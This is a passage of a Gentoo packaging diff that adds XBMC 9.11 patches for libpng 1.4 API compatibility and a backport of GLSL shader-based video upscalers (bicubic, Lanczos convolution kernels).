++			info.nBkgndColor.rgbRed   = (BYTE)(info_ptr->trans_color.red>>nshift);
++			info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_color.green>>nshift);
++			info.nBkgndColor.rgbBlue  = (BYTE)(info_ptr->trans_color.blue>>nshift);
+ 			info.nBkgndColor.rgbReserved = 0;
+ 			info.nBkgndIndex = 0;
+ 		}
+@@ -417,12 +417,12 @@
+ 	if (info.nBkgndIndex >= 0){
+ 		info_ptr->num_trans = 1;
+ 		info_ptr->valid |= PNG_INFO_tRNS;
+-		info_ptr->trans = trans;
+-		info_ptr->trans_values.index = (BYTE)info.nBkgndIndex;
+-		info_ptr->trans_values.red   = tc.rgbRed;
+-		info_ptr->trans_values.green = tc.rgbGreen;
+-		info_ptr->trans_values.blue  = tc.rgbBlue;
+-		info_ptr->trans_values.gray  = info_ptr->trans_values.index;
++		info_ptr->trans_alpha = trans;
++		info_ptr->trans_color.index = (BYTE)info.nBkgndIndex;
++		info_ptr->trans_color.red   = tc.rgbRed;
++		info_ptr->trans_color.green = tc.rgbGreen;
++		info_ptr->trans_color.blue  = tc.rgbBlue;
++		info_ptr->trans_color.gray  = info_ptr->trans_color.index;
+ 
+ 		// the transparency indexes start from 0 for non grayscale palette
+ 		if (!bGrayScale && head.biClrUsed && info.nBkgndIndex)
+@@ -443,7 +443,7 @@
+ 				trans[ip]=GetPaletteColor((BYTE)ip).rgbReserved;
+ 			info_ptr->num_trans = (WORD)nc;
+ 			info_ptr->valid |= PNG_INFO_tRNS;
+-			info_ptr->trans = trans;
++			info_ptr->trans_alpha = trans;
+ 		}
+ 
+ 		// copy the palette colors
+diff -Nur xbmc-9.11.orig/xbmc/screensavers/rsxs-0.9/src/pngimage.cc xbmc-9.11/xbmc/screensavers/rsxs-0.9/src/pngimage.cc
+--- xbmc-9.11.orig/xbmc/screensavers/rsxs-0.9/src/pngimage.cc	2008-07-30 23:35:38.000000000 +0300
++++ xbmc-9.11/xbmc/screensavers/rsxs-0.9/src/pngimage.cc	2010-01-20 22:21:01.000000000 +0200
+@@ -65,7 +65,7 @@
+ 			(png_get_color_type(png, pngInfo) == PNG_COLOR_TYPE_GRAY) &&
+ 			png_get_bit_depth(png, pngInfo) < 8
+ 		)
+-			png_set_gray_1_2_4_to_8(png);
++			png_set_expand_gray_1_2_4_to_8(png);
+ 		if (png_get_valid(png, pngInfo, PNG_INFO_tRNS))
+ 			png_set_tRNS_to_alpha(png);
+ 		if (fullColor)
+diff -Nur xbmc-9.11.orig/xbmc/visualizations/Goom/goom2k4-0/src/pngload.c xbmc-9.11/xbmc/visualizations/Goom/goom2k4-0/src/pngload.c
+--- xbmc-9.11.orig/xbmc/visualizations/Goom/goom2k4-0/src/pngload.c	2008-08-04 05:05:51.000000000 +0300
++++ xbmc-9.11/xbmc/visualizations/Goom/goom2k4-0/src/pngload.c	2010-01-20 22:16:23.000000000 +0200
+@@ -94,7 +94,7 @@
+ 		png_set_palette_to_rgb (png_ptr);
+ 
+ 	if (color_type == PNG_COLOR_TYPE_GRAY && bit_depth < 8)
+-		png_set_gray_1_2_4_to_8 (png_ptr);
++		png_set_expand_gray_1_2_4_to_8 (png_ptr);
+ 	else if (color_type == PNG_COLOR_TYPE_GRAY ||
+ 					 color_type == PNG_COLOR_TYPE_GRAY_ALPHA)
+ 			png_set_gray_to_rgb (png_ptr);
diff --git a/media-tv/xbmc/files/xbmc-9.11-shader-upscalers.patch b/media-tv/xbmc/files/xbmc-9.11-shader-upscalers.patch
new file mode 100644
index 00000000..d4feaa47
--- /dev/null
+++ b/media-tv/xbmc/files/xbmc-9.11-shader-upscalers.patch
@@ -0,0 +1,887 @@
+http://bugs.gentoo.org/306661
+
+backport shader based upscalers from svn trunk
+
+--- language/English/strings.xml
++++ language/English/strings.xml
+@@ -1554,16 +1554,17 @@
+   <string id="16304">Lanczos2</string>
+   <string id="16305">Lanczos3</string>
+   <string id="16306">Sinc8</string>
+-
+   <string id="16307">Bicubic (software)</string>
+   <string id="16308">Lanczos (software)</string>
+   <string id="16309">Sinc (software)</string>
+-
+   <string id="16310">(VDPAU)Temporal</string>
+   <string id="16311">(VDPAU)Temporal/Spatial</string>
+   <string id="16312">(VDPAU)Noise Reduction</string>
+   <string id="16313">(VDPAU)Sharpness</string>
+   <string id="16314">Inverse Telecine</string>
++  <string id="16315">Lanczos3 optimized</string>
++  <string id="16316">Auto</string>
++
+   <string id="17500">Display sleep timeout</string>
+ 
+   <string id="19000">Switch to channel</string>
+--- system/shaders/convolution-6x6.glsl
++++ system/shaders/convolution-6x6.glsl
+@@ -0,0 +1,69 @@
++uniform sampler2D img;
++uniform float     stepx;
++uniform float     stepy;
++
++#if (HAS_FLOAT_TEXTURE)
++uniform sampler1D kernelTex;
++
++vec3 weight(float pos)
++{
++  return texture1D(kernelTex, pos).rgb;
++}
++#else
++uniform sampler2D kernelTex;
++
++vec3 weight(float pos)
++{
++  //row 0 contains the high byte, row 1 contains the low byte
++  return ((texture2D(kernelTex, vec2(pos, 0.0)) * 256.0 + texture2D(kernelTex, vec2(pos, 1.0)))).rgb / 128.5 - 1.0;
++}
++#endif
++
++vec3 pixel(float xpos, float ypos)
++{
++  return texture2D(img, vec2(xpos, ypos)).rgb;
++}
++
++vec3 line (float ypos, vec3 xpos1, vec3 xpos2, vec3 linetaps1, vec3 linetaps2)
++{
++  vec3  pixels;
++
++  pixels  = pixel(xpos1.r, ypos) * linetaps1.r;
++  pixels += pixel(xpos1.g, ypos) * linetaps2.r;
++  pixels += pixel(xpos1.b, ypos) * linetaps1.g;
++  pixels += pixel(xpos2.r, ypos) * linetaps2.g;
++  pixels += pixel(xpos2.g, ypos) * linetaps1.b;
++  pixels += pixel(xpos2.b, ypos) * linetaps2.b;
++
++  return pixels;
++}
++
++void main()
++{
++  float xf = fract(gl_TexCoord[0].x / stepx);
++  float yf = fract(gl_TexCoord[0].y / stepy);
++
++  vec3 linetaps1   = weight((1.0 - xf) / 2.0);
++  vec3 linetaps2   = weight((1.0 - xf) / 2.0 + 0.5);
++  vec3 columntaps1 = weight((1.0 - yf) / 2.0);
++  vec3 columntaps2 = weight((1.0 - yf) / 2.0 + 0.5);
++
++  vec3 xpos1 = vec3(
++      (-1.5 - xf) * stepx + gl_TexCoord[0].x,
++      (-0.5 - xf) * stepx + gl_TexCoord[0].x,
++      ( 0.5 - xf) * stepx + gl_TexCoord[0].x);
++  vec3 xpos2 = vec3(
++      ( 1.5 - xf) * stepx + gl_TexCoord[0].x,
++      ( 2.5 - xf) * stepx + gl_TexCoord[0].x,
++      ( 3.5 - xf) * stepx + gl_TexCoord[0].x);
++
++  gl_FragColor.rgb  = line((-1.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps1.r;
++  gl_FragColor.rgb += line((-0.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps2.r;
++  gl_FragColor.rgb += line(( 0.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps1.g;
++  gl_FragColor.rgb += line(( 1.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps2.g;
++  gl_FragColor.rgb += line(( 2.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps1.b;
++  gl_FragColor.rgb += line(( 3.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps2.b;
++
++  gl_FragColor.a = gl_Color.a;
++}
++
+--- system/shaders/bicubic.glsl
++++ system/shaders/bicubic.glsl
+@@ -0,0 +1,47 @@
++uniform sampler2D img;
++uniform float stepx;
++uniform float stepy;
++uniform sampler2D kernelTex;
++
++vec4 cubicFilter(float xValue, vec4 c0, vec4 c1, vec4 c2, vec4 c3)
++{
++  vec4 h = texture2D(kernelTex, vec2(xValue, 0.5));
++  vec4 r = c0 * h.r;
++  r += c1 * h.g;
++  r += c2 * h.b;
++  r += c3 * h.a;
++  return r;
++}
++
++void main()
++{
++  vec2 f = vec2(gl_TexCoord[0].x / stepx , gl_TexCoord[0].y / stepy);
++  f = fract(f);
++  vec4 t0 = cubicFilter(f.x,
++  texture2D(img, gl_TexCoord[0].xy + vec2(-stepx,    -stepy)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(0.0,       -stepy)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(stepx,     -stepy)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, -stepy)));
++
++  vec4 t1 = cubicFilter(f.x,
++  texture2D(img, gl_TexCoord[0].xy + vec2(-stepx,    0.0)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(0.0,       0.0)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(stepx,     0.0)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, 0.0)));
++
++  vec4 t2 = cubicFilter(f.x,
++  texture2D(img, gl_TexCoord[0].xy + vec2(-stepx,    stepy)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(0.0,       stepy)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(stepx,     stepy)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, stepy)));
++
++  vec4 t3 = cubicFilter(f.x,
++  texture2D(img, gl_TexCoord[0].xy + vec2(-stepx,    2.0*stepy)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(0,         2.0*stepy)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(stepx,     2.0*stepy)),
++  texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, 2.0*stepy)));
++
++  gl_FragColor = cubicFilter(f.y, t0, t1, t2, t3);   
++  gl_FragColor.a = gl_Color.a;
++}
++
+--- system/shaders/convolution-4x4.glsl
++++ system/shaders/convolution-4x4.glsl
+@@ -0,0 +1,60 @@
++uniform sampler2D img;
++uniform float     stepx;
++uniform float     stepy;
++
++#if (HAS_FLOAT_TEXTURE)
++uniform sampler1D kernelTex;
++
++vec4 weight(float pos)
++{
++  return texture1D(kernelTex, pos);
++}
++#else
++uniform sampler2D kernelTex;
++
++vec4 weight(float pos)
++{
++  //row 0 contains the high byte, row 1 contains the low byte
++  return (texture2D(kernelTex, vec2(pos, 0.0)) * 256.0 + texture2D(kernelTex, vec2(pos, 1.0))) / 128.5 - 1.0;
++}
++#endif
++
++vec3 pixel(float xpos, float ypos)
++{
++  return texture2D(img, vec2(xpos, ypos)).rgb;
++}
++
++vec3 line (float ypos, vec4 xpos, vec4 linetaps)
++{
++  vec3  pixels;
++
++  pixels  = pixel(xpos.r, ypos) * linetaps.r;
++  pixels += pixel(xpos.g, ypos) * linetaps.g;
++  pixels += pixel(xpos.b, ypos) * linetaps.b;
++  pixels += pixel(xpos.a, ypos) * linetaps.a;
++
++  return pixels;
++}
++
++void main()
++{
++  float xf = fract(gl_TexCoord[0].x / stepx);
++  float yf = fract(gl_TexCoord[0].y / stepy);
++
++  vec4 linetaps   = weight(1.0 - xf);
++  vec4 columntaps = weight(1.0 - yf);
++
++  vec4 xpos = vec4(
++      (-0.5 - xf) * stepx + gl_TexCoord[0].x,
++      ( 0.5 - xf) * stepx + gl_TexCoord[0].x,
++      ( 1.5 - xf) * stepx + gl_TexCoord[0].x,
++      ( 2.5 - xf) * stepx + gl_TexCoord[0].x);
++
++  gl_FragColor.rgb  = line((-0.5 - yf) * stepy + gl_TexCoord[0].y, xpos, linetaps) * columntaps.r;
++  gl_FragColor.rgb += line(( 0.5 - yf) * stepy + gl_TexCoord[0].y, xpos, linetaps) * columntaps.g;
++  gl_FragColor.rgb += line(( 1.5 - yf) * stepy + gl_TexCoord[0].y, xpos, linetaps) * columntaps.b;
++  gl_FragColor.rgb += line(( 2.5 - yf) * stepy + gl_TexCoord[0].y, xpos, linetaps) * columntaps.a;
++
++  gl_FragColor.a = gl_Color.a;
++}
++
+--- xbmc/settings/VideoSettings.h
++++ xbmc/settings/VideoSettings.h
+@@ -51,9 +51,10 @@
+ {
+   VS_SCALINGMETHOD_NEAREST=0,
+   VS_SCALINGMETHOD_LINEAR,
+-  
++
+   VS_SCALINGMETHOD_CUBIC,
+   VS_SCALINGMETHOD_LANCZOS2,
++  VS_SCALINGMETHOD_LANCZOS3_FAST,
+   VS_SCALINGMETHOD_LANCZOS3,
+   VS_SCALINGMETHOD_SINC8,
+   VS_SCALINGMETHOD_NEDI,
+@@ -61,7 +62,9 @@
+   VS_SCALINGMETHOD_BICUBIC_SOFTWARE,
+   VS_SCALINGMETHOD_LANCZOS_SOFTWARE,
+   VS_SCALINGMETHOD_SINC_SOFTWARE,
+-  VS_SCALINGMETHOD_VDPAU_HARDWARE
++  VS_SCALINGMETHOD_VDPAU_HARDWARE,
++
++  VS_SCALINGMETHOD_AUTO
+ };
+ 
+ class CVideoSettings
+--- xbmc/cores/VideoRenderers/VideoShaders/VideoFilterShader.cpp
++++ xbmc/cores/VideoRenderers/VideoShaders/VideoFilterShader.cpp
+@@ -21,6 +21,7 @@
+ #include "system.h"
+ #include "VideoFilterShader.h"
+ #include "utils/log.h"
++#include "ConvolutionKernels.h"
+ 
+ #include <string>
+ #include <math.h>
+@@ -63,60 +64,13 @@
+ 
+ BicubicFilterShader::BicubicFilterShader(float B, float C)
+ {
+-  string shaderf = 
+-    "uniform sampler2D img;"
+-    "uniform float stepx;"
+-    "uniform float stepy;"
+-    "uniform sampler2D kernelTex;"
+-    
+-    "vec4 cubicFilter(float xValue, vec4 c0, vec4 c1, vec4 c2, vec4 c3)"
+-    "{"
+-    " vec4 h = texture2D(kernelTex, vec2(xValue, 0.5));"
+-    " vec4 r = c0 * h.r;"
+-    " r += c1 * h.g;"
+-    " r += c2 * h.b;"
+-    " r += c3 * h.a;"
+-    " return r;"
+-    "}"
+-    ""
+-    "void main()"
+-    "{"
+-    "vec2 f = vec2(gl_TexCoord[0].x / stepx , gl_TexCoord[0].y / stepy);"
+-    "f = fract(f);"
+-    "vec4 t0 = cubicFilter(f.x,"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, -stepy)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(0.0, -stepy)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(stepx, -stepy)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, -stepy)));"
+-    ""
+-    "vec4 t1 = cubicFilter(f.x,"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, 0.0)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(0.0, 0.0)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(stepx, 0.0)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, 0.0)));"
+-    ""
+-    "vec4 t2 = cubicFilter(f.x,"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, stepy)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(0.0, stepy)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(stepx, stepy)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, stepy)));"
+-    ""
+-    "vec4 t3 = cubicFilter(f.x,"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, 2.0*stepy)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(0, 2.0*stepy)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(stepx, 2.0*stepy)),"
+-    "texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, 2.0*stepy)));"
+-    
+-    "gl_FragColor = cubicFilter(f.y, t0, t1, t2, t3) ;"    
+-    "gl_FragColor.a = gl_Color.a;"
+-    "}";
+-  PixelShader()->SetSource(shaderf);
++  PixelShader()->LoadSource("bicubic.glsl");
+   m_kernelTex1 = 0;
+   m_B = B;
+   m_C = C;
+-  if (B<=0)
++  if (B<0)
+     m_B=1.0f/3.0f;
+-  if (C<=0)
++  if (C<0)
+     m_C=1.0f/3.0f;
+ }
+ 
+@@ -209,8 +163,8 @@
+   glBindTexture(GL_TEXTURE_2D, m_kernelTex1);
+   glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
+   glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
+-  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);
+-  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);
++  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP);
++  glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP);
+   glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F_ARB, size, 1, 0, GL_RGBA, GL_FLOAT, img);
+ 
+   glActiveTexture(GL_TEXTURE0);
+@@ -254,4 +208,110 @@
+   return val;
+ }
+ 
++ConvolutionFilterShader::ConvolutionFilterShader(ESCALINGMETHOD method)
++{
++  m_method = method;
++  m_kernelTex1 = 0;
++
++  string shadername;
++  string defines;
++
++  if (m_method == VS_SCALINGMETHOD_CUBIC ||
++      m_method == VS_SCALINGMETHOD_LANCZOS2 ||
++      m_method == VS_SCALINGMETHOD_LANCZOS3_FAST)
++    shadername = "convolution-4x4.glsl";
++  else if (m_method == VS_SCALINGMETHOD_LANCZOS3)
++    shadername = "convolution-6x6.glsl";
++
++  m_floattex = glewIsSupported("GL_ARB_texture_float");
++
++  if (m_floattex)
++    defines = "#define HAS_FLOAT_TEXTURE 1\n";
++  else
++    defines = "#define HAS_FLOAT_TEXTURE 0\n";
++
++  CLog::Log(LOGDEBUG, "GL: ConvolutionFilterShader: using %s defines: %s", shadername.c_str(), defines.c_str());
++  PixelShader()->LoadSource(shadername, defines);
++}
++
++void ConvolutionFilterShader::OnCompiledAndLinked()
++{
++  // obtain shader attribute handles on successfull compilation
++  m_hSourceTex = glGetUniformLocation(ProgramHandle(), "img");
++  m_hStepX     = glGetUniformLocation(ProgramHandle(), "stepx");
++  m_hStepY     = glGetUniformLocation(ProgramHandle(), "stepy");
++  m_hKernTex   = glGetUniformLocation(ProgramHandle(), "kernelTex");
++
++  CConvolutionKernel kernel(m_method, 256);
++
++  if (m_kernelTex1)
++  {
++    glDeleteTextures(1, &m_kernelTex1);
++    m_kernelTex1 = 0;
++  }
++
++  glGenTextures(1, &m_kernelTex1);
++
++  if ((m_kernelTex1<=0))
++  {
++    CLog::Log(LOGERROR, "GL: ConvolutionFilterShader: Error creating kernel texture");
++    return;
++  }
++
++  glActiveTexture(GL_TEXTURE2);
++
++  //if float textures are supported, we can load the kernel as a 1d float texture
++  //if not, we load it as a 2d texture with 2 rows, where row 0 contains the high byte
++  //and row 1 contains the low byte, which can be converted in the shader
++  if (m_floattex)
++  {
++    glBindTexture(GL_TEXTURE_1D, m_kernelTex1);
++    glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
++    glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
++    glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
++    glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
++    glTexImage1D(GL_TEXTURE_1D, 0, GL_RGBA16F_ARB, kernel.GetSize(), 0, GL_RGBA, GL_FLOAT, kernel.GetFloatPixels());
++  }
++  else
++  {
++    glBindTexture(GL_TEXTURE_2D, m_kernelTex1);
++    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
++    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
++    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
++    glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
++    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, kernel.GetSize(), 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, kernel.GetIntFractPixels());
++  }
++
++  glActiveTexture(GL_TEXTURE0);
++
++  VerifyGLState();
++}
++
++bool ConvolutionFilterShader::OnEnabled()
++{
++  // set shader attributes once enabled
++  glActiveTexture(GL_TEXTURE2);
++
++  if (m_floattex)
++    glBindTexture(GL_TEXTURE_1D, m_kernelTex1);
++  else
++    glBindTexture(GL_TEXTURE_2D, m_kernelTex1);
++
++  glActiveTexture(GL_TEXTURE0);
++  glUniform1i(m_hSourceTex, m_sourceTexUnit);
++  glUniform1i(m_hKernTex, 2);
++  glUniform1f(m_hStepX, m_stepX);
++  glUniform1f(m_hStepY, m_stepY);
++  VerifyGLState();
++  return true;
++}
++
++void ConvolutionFilterShader::Free()
++{
++  if (m_kernelTex1)
++    glDeleteTextures(1, &m_kernelTex1);
++  m_kernelTex1 = 0;
++  BaseVideoFilterShader::Free();
++}
++
+ #endif
+--- xbmc/cores/VideoRenderers/VideoShaders/ConvolutionKernels.cpp
++++ xbmc/cores/VideoRenderers/VideoShaders/ConvolutionKernels.cpp
+@@ -0,0 +1,226 @@
++/*
++ *      Copyright (C) 2005-2008 Team XBMC
++ *      http://www.xbmc.org
++ *
++ *  This Program is free software; you can redistribute it and/or modify
++ *  it under the terms of the GNU General Public License as published by
++ *  the Free Software Foundation; either version 2, or (at your option)
++ *  any later version.
++ *
++ *  This Program is distributed in the hope that it will be useful,
++ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ *  GNU General Public License for more details.
++ *
++ *  You should have received a copy of the GNU General Public License
++ *  along with XBMC; see the file COPYING.  If not, write to
++ *  the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
++ *  http://www.gnu.org/copyleft/gpl.html
++ *
++ */
++#ifdef _WIN32
++  #define _USE_MATH_DEFINES
++#endif
++
++#include "ConvolutionKernels.h"
++#include "MathUtils.h"
++
++#define SINC(x) (sin(M_PI * (x)) / (M_PI * (x)))
++
++CConvolutionKernel::CConvolutionKernel(ESCALINGMETHOD method, int size)
++{
++  m_size = size;
++  m_floatpixels = new float[m_size * 4];
++
++  if (method == VS_SCALINGMETHOD_LANCZOS2)
++    Lanczos2();
++  else if (method == VS_SCALINGMETHOD_LANCZOS3_FAST)
++    Lanczos3Fast();
++  else if (method == VS_SCALINGMETHOD_LANCZOS3)
++    Lanczos3();
++  else if (method == VS_SCALINGMETHOD_CUBIC) 
++    Bicubic(1.0 / 3.0, 1.0 / 3.0);
++
++  ToIntFract();
++}
++
++CConvolutionKernel::~CConvolutionKernel()
++{
++  delete [] m_floatpixels;
++  delete [] m_intfractpixels;
++}
++
++//generate a lanczos2 kernel which can be loaded with RGBA format
++//each value of RGBA has one tap, so a shader can load 4 taps with a single pixel lookup
++void CConvolutionKernel::Lanczos2()
++{
++  for (int i = 0; i < m_size; i++)
++  {
++    double x = (double)i / (double)m_size;
++
++    //generate taps
++    for (int j = 0; j < 4; j++)
++      m_floatpixels[i * 4 + j] = (float)LanczosWeight(x + (double)(j - 2), 2.0);
++
++    //any collection of 4 taps added together needs to be exactly 1.0
++    //for lanczos this is not always the case, so we take each collection of 4 taps
++    //and divide those taps by the sum of the taps
++    float weight = 0.0;
++    for (int j = 0; j < 4; j++)
++      weight += m_floatpixels[i * 4 + j];
++
++    for (int j = 0; j < 4; j++)
++      m_floatpixels[i * 4 + j] /= weight;
++  }
++}
++
++//generate a lanczos3 kernel which can be loaded with RGBA format
++//each value of RGBA has one tap, so a shader can load 4 taps with a single pixel lookup
++//the two outer lobes of the lanczos3 kernel are added to the two lobes one step to the middle
++//this basically looks the same as lanczos3, but the kernel only has 4 taps,
++//so it can use the 4x4 convolution shader which is twice as fast as the 6x6 one
++void CConvolutionKernel::Lanczos3Fast()
++{
++  for (int i = 0; i < m_size; i++)
++  {
++    double a = 3.0;
++    double x = (double)i / (double)m_size;
++
++    //generate taps
++    m_floatpixels[i * 4 + 0] = (float)(LanczosWeight(x - 2.0, a) + LanczosWeight(x - 3.0, a));
++    m_floatpixels[i * 4 + 1] = (float) LanczosWeight(x - 1.0, a);
++    m_floatpixels[i * 4 + 2] = (float) LanczosWeight(x      , a);
++    m_floatpixels[i * 4 + 3] = (float)(LanczosWeight(x + 1.0, a) + LanczosWeight(x + 2.0, a));
++
++    //any collection of 4 taps added together needs to be exactly 1.0
++    //for lanczos this is not always the case, so we take each collection of 4 taps
++    //and divide those taps by the sum of the taps
++    float weight = 0.0;
++    for (int j = 0; j < 4; j++)
++      weight += m_floatpixels[i * 4 + j];
++
++    for (int j = 0; j < 4; j++)
++      m_floatpixels[i * 4 + j] /= weight;
++  }
++}
++
++//generate a lanczos3 kernel which can be loaded with RGBA format
++//each value of RGB has one tap, so a shader can load 3 taps with a single pixel lookup
++void CConvolutionKernel::Lanczos3()
++{
++  for (int i = 0; i < m_size; i++)
++  {
++    double x = (double)i / (double)m_size;
++
++    //generate taps
++    for (int j = 0; j < 3; j++)
++      m_floatpixels[i * 4 + j] = (float)LanczosWeight(x * 2.0 + (double)(j * 2 - 3), 3.0);
++
++    m_floatpixels[i * 4 + 3] = 0.0;
++  }
++
++  //any collection of 6 taps added together needs to be exactly 1.0
++  //for lanczos this is not always the case, so we take each collection of 6 taps
++  //and divide those taps by the sum of the taps
++  for (int i = 0; i < m_size / 2; i++)
++  {
++    float weight = 0.0;
++    for (int j = 0; j < 3; j++)
++    {
++      weight += m_floatpixels[i * 4 + j];
++      weight += m_floatpixels[(i + m_size / 2) * 4 + j];
++    }
++    for (int j = 0; j < 3; j++)
++    {
++      m_floatpixels[i * 4 + j] /= weight;
++      m_floatpixels[(i + m_size / 2) * 4 + j] /= weight;
++    }
++  }
++}
++
++//generate a bicubic kernel which can be loaded with RGBA format
++//each value of RGBA has one tap, so a shader can load 4 taps with a single pixel lookup
++void CConvolutionKernel::Bicubic(double B, double C)
++{
++  for (int i = 0; i < m_size; i++)
++  {
++    double x = (double)i / (double)m_size;
++
++    //generate taps
++    for (int j = 0; j < 4; j++)
++      m_floatpixels[i * 4 + j] = (float)BicubicWeight(x + (double)(j - 2), B, C);
++  }
++}
++
++double CConvolutionKernel::LanczosWeight(double x, double radius)
++{
++  double ax = fabs(x);
++
++  if (ax == 0.0)
++    return 1.0;
++  else if (ax < radius)
++    return SINC(ax) * SINC(ax / radius);
++  else
++    return 0.0;
++}
++
++double CConvolutionKernel::BicubicWeight(double x, double B, double C)
++{
++  double ax = fabs(x);
++
++  if (ax<1.0)
++  {
++    return ((12 - 9*B - 6*C) * ax * ax * ax +
++            (-18 + 12*B + 6*C) * ax * ax +
++            (6 - 2*B))/6;
++  }
++  else if (ax<2.0)
++  {
++    return ((-B - 6*C) * ax * ax * ax + 
++            (6*B + 30*C) * ax * ax + (-12*B - 48*C) * 
++             ax + (8*B + 24*C)) / 6;
++  }
++  else
++  {
++    return 0.0;
++  }
++}
++
++
++//convert float to high byte/low byte, so the kernel can be loaded into an 8 bit texture
++//with height 2 and converted back to real float in the shader
++//it only works when the kernel texture uses nearest neighbour, but there's almost no difference
++//between that and linear interpolation
++void CConvolutionKernel::ToIntFract()
++{
++  m_intfractpixels = new uint8_t[m_size * 8];
++
++  for (int i = 0; i < m_size * 4; i++)
++  {
++    int value = MathUtils::round_int((m_floatpixels[i] + 1.0) / 2.0 * 65535.0);
++    if (value < 0)
++      value = 0;
++    else if (value > 65535)
++      value = 65535;
++    
++    int integer = value / 256;
++    int fract   = value % 256;
++
++    m_intfractpixels[i] = (uint8_t)integer;
++    m_intfractpixels[i + m_size * 4] = (uint8_t)fract;
++  }
++
++#if 0
++  for (int i = 0; i < 4; i++)
++  {
++    for (int j = 0; j < m_size; j++)
++    {
++      printf("%i %f %f\n",
++          i * m_size + j,
++          ((double)m_intfractpixels[j * 4 + i] + (double)m_intfractpixels[j * 4 + i + m_size * 4] / 255.0) / 255.0 * 2.0 - 1.0,
++          m_floatpixels[j * 4 + i]);
++    }
++  }
++#endif
++}
++
+--- xbmc/cores/VideoRenderers/VideoShaders/VideoFilterShader.h
++++ xbmc/cores/VideoRenderers/VideoShaders/VideoFilterShader.h
+@@ -4,6 +4,7 @@
+ #ifdef HAS_GL
+ 
+ #include "../../../../guilib/Shader.h"
++#include "../../../settings/VideoSettings.h"
+ 
+ using namespace Shaders;
+ 
+@@ -35,7 +36,7 @@
+   class BicubicFilterShader : public BaseVideoFilterShader
+   {
+   public:
+-    BicubicFilterShader(float B=0.0f, float C=0.0f);
++    BicubicFilterShader(float B=-1.0f, float C=-1.0f);
+     void OnCompiledAndLinked();
+     bool OnEnabled();
+     void Free();
+@@ -55,6 +56,25 @@
+     float m_C;
+   };
+ 
++  class ConvolutionFilterShader : public BaseVideoFilterShader
++  {
++  public:
++    ConvolutionFilterShader(ESCALINGMETHOD method);
++    void OnCompiledAndLinked();
++    bool OnEnabled();
++    void Free();
++
++  protected:
++    // kernel textures
++    GLuint m_kernelTex1;
++
++    // shader handles to kernel textures
++    GLint m_hKernTex;
++
++    ESCALINGMETHOD m_method;
++    bool           m_floattex; //if float textures are supported
++  };
++
+ } // end namespace
+ 
+ #endif
+--- xbmc/cores/VideoRenderers/VideoShaders/ConvolutionKernels.h
++++ xbmc/cores/VideoRenderers/VideoShaders/ConvolutionKernels.h
+@@ -0,0 +1,55 @@
++/*
++ *      Copyright (C) 2005-2008 Team XBMC
++ *      http://www.xbmc.org
++ *
